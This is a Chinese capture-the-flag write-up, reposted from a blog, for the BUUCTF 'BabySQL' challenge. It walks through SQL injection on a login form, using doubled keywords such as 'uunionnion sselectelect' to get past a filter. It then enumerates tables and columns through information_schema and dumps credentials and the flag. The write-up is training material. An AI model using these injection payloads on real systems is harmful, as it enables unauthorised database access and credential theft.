0


[极客大挑战 2019]BabySQL 1

题目[极客大挑战 2019]BabySQL 1

题目来源: https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]BabySQL

分析过程:进入靶场,有如下页面

第一步:判断是否存在注入,注入是字符型还是数字型
输入

1'

发现不回显,显示错误
输入

1' #

显示正常
初步判断存在sql注入
输入

1' or '1'='1

,显示错误

其中显示错误的字符中,输入的缺少了一部分
输入:username=1' or 1=1# and password=1
显示错误字符:*'1=1 #' and password='1''*
其中or没在错误字符中显示,可能原因是被过滤替换成了空格,考虑双写进行绕过 输入:*1' oorr 1=1#,成功登陆

第二步:判断注入点字段长度 输入

1' oorrder bbyy x#

,令x=1逐渐增加进行尝试,当x=4时出现报错, 说明注入点字段长度为3

第三步:确认数据回显位置 使用联合注入进行尝试
输入*1' uunionnion sselectelect database(),2,3#,依次变换函数database()的位置,确定哪个位置会回显出我们所查询的信息。经尝试,第三个注入点字段会回显查询信息

第四步:爆表名
输入:1' uunionnion sselectelect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema=database()#

成功获得两个表 'b4bsql,geekuser'

第五步:爆字段
输入:1' uunionnion sselectelect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_name='表名'#
表名处替换为b4bsqlgeekuser 得到三个相同的字段 'id,username,password'

第六步:爆数据

两个表中,'b4bsql',更加可疑,先爆该表的数据、 输入:1' uunionnion sselectelect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql#,显示有如下页面,有疑似flag的字符串,查看源代码进行确认

有疑似flag的字符串,查看源代码进行确认

发现flag:flag{62252ceb-0ed1-4255-bafd-15a3f6772ddf}

标签: web安全

本文转载自: https://blog.csdn.net/weixin_61333161/article/details/124223306
版权归原作者 QS636 所有, 如有侵权,请联系我们删除。

“[极客大挑战 2019]BabySQL 1”的评论:

还没有评论